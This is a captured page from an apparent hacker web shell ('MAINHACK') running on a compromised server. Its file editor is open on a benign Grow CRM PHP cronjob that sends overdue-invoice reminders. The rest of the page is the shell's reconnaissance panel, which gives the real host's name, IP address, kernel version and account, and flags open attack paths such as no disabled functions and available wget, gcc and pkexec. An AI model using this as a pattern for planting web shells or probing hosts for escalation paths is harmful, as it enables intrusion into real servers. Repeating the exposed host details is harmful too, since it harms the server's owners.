[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OverdueInvoicesCron.php
<?php /** ------------------------------------------------------------------------------------------------- * TEMPLATE * This cronjob is envoked by by the task scheduler which is in 'application/app/Console/Kernel.php' * It marks invoices as overdue and also send overdue reminder email * @package Grow CRM * @author NextLoop *---------------------------------------------------------------------------------------------------*/ namespace App\Cronjobs; use App\Repositories\InvoiceRepository; use App\Repositories\UserRepository; class OverdueInvoicesCron { public function __invoke( UserRepository $userrepo, InvoiceRepository $invoicerepo ) { //[MT] - tenants only if (env('MT_TPYE')) { if (\Spatie\Multitenancy\Models\Tenant::current() == null) { return; } } //boot system settings middlewareBootSettings(); //[MT] boot mail settings env('MT_TPYE') ? middlewareSaaSBootMail() : middlewareBootMail(); //boot theme for pdf css middlewareBootTheme(); //log that its run //Log::info("Cronjob has started", ['process' => '[foo-cron]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__]); /*-------------------------------------------------------- * Process invoices that are already mareked as overdue * *-----------------------------------------------------*/ $today = \Carbon\Carbon::now()->format('Y-m-d'); $invoices = \App\Models\Invoice::Where('bill_due_date', '<', $today) ->where('bill_overdue_reminder_sent', 'no') ->where('bill_status', 'overdue') ->take(5)->get(); //process each one foreach ($invoices as $invoice) { //get full invoice if ($bills = $invoicerepo->search($invoice->bill_invoiceid)) { $bill = $bills->first(); } //send email - only do this for invoices with an amount due if ($bill->invoice_balance > 0) { if ($user = $userrepo->getClientAccountOwner($invoice->bill_clientid)) { $mail = new \App\Mail\OverdueInvoice($user, [], $bill); $mail->build(); } } //mark invoice as overdue and email sent $invoice->bill_overdue_reminder_sent = 'yes'; $invoice->save(); } /*-------------------------------------------------------- * Process invoices that are not yet mareked as overdue * *-----------------------------------------------------*/ //mark invoice as overdue $today = \Carbon\Carbon::now()->format('Y-m-d'); $invoices = \App\Models\Invoice::Where('bill_due_date', '<', $today) ->where('bill_overdue_reminder_sent', 'no') ->whereIn('bill_status', ['due ', 'part_paid']) ->take(5)->get(); //process each one foreach ($invoices as $invoice) { //get full invoice if ($bills = $invoicerepo->search($invoice->bill_invoiceid)) { $bill = $bills->first(); } //send email - only do this for invoices with an amount due if ($bill->invoice_balance > 0) { if ($user = $userrepo->getClientAccountOwner($invoice->bill_clientid)) { $mail = new \App\Mail\OverdueInvoice($user, [], $bill); $mail->build(); } } //mark invoice as overdue and email sent $invoice->bill_status = 'overdue'; $invoice->bill_overdue_reminder_sent = 'yes'; $invoice->save(); } //reset last cron run data \App\Models\Settings::where('settings_id', 1) ->update([ 'settings_cronjob_has_run' => 'yes', 'settings_cronjob_last_run' => now(), ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002